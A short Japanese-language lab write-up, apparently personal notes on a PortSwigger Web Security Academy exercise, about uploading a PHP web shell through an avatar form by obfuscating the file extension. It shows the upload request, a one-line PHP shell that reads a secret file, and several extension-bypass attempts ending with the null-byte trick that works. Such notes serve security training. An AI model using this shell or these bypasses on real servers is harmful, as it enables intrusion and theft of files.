難読化されたファイル拡張子によるWeb Shell のアップロード。23 of 35 ラボ

ブラックリスト・バイパスによる Web shell のアップロード。23 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/insufficient-blacklisting-of-dangerous-file-types/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension

デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0a2100ed048919a1823e510600a700de.web-security-academy.net
Cookie: session=BbuOADoJBlHjvRrRWcJhrRk9eZXX05O1
~省略~
------WebKitFormBoundaryhVfDZJ94x6USDOlu
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png

�PNG
~バイナリのため省略~

デフォルトアップロード先

<img src="/files/avatars/hacker.png" class="avatar">

1. テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

"Sorry, only JPG & PNG files are allowed"

2. 拡張子の改ざん

webshell.pHp → Sorry
webshell.php.jpg → uploaded だが、壊れた jpg としてしか認識されない
webshell.php. → Sorry
webshell%2Ephp → Sorry
webshell.php;.jpg → uploaded だが、404 Not Found
webshell.php%00.jpg → uploaded だが、404 Not Found

しかし、%00.jpg 部分は消すとPHPファイルとして動作する

/* -----codeの行番号----- */